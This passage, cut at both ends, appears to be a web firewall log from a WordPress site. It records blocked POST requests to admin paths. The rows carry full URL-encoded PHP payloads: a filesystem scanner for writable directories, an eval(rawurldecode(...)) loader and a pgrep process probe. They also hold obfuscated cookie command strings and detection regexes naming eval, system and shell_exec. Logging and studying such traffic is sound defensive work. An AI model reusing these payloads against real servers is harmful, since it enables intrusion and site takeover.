24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:32:26","107.155.87.193","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> EE:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\ncontent-length:4400\nsec-ch-ua-platform:\"macOS\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEHHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nEE=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:32:43","152.228.218.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> yj:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\ncontent-length:4400\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrJbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nyj=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 13:33:19","52.221.129.59","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:4423\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-mode:navigate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept:*\/*\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 13:33:35","121.200.216.56","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yy:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21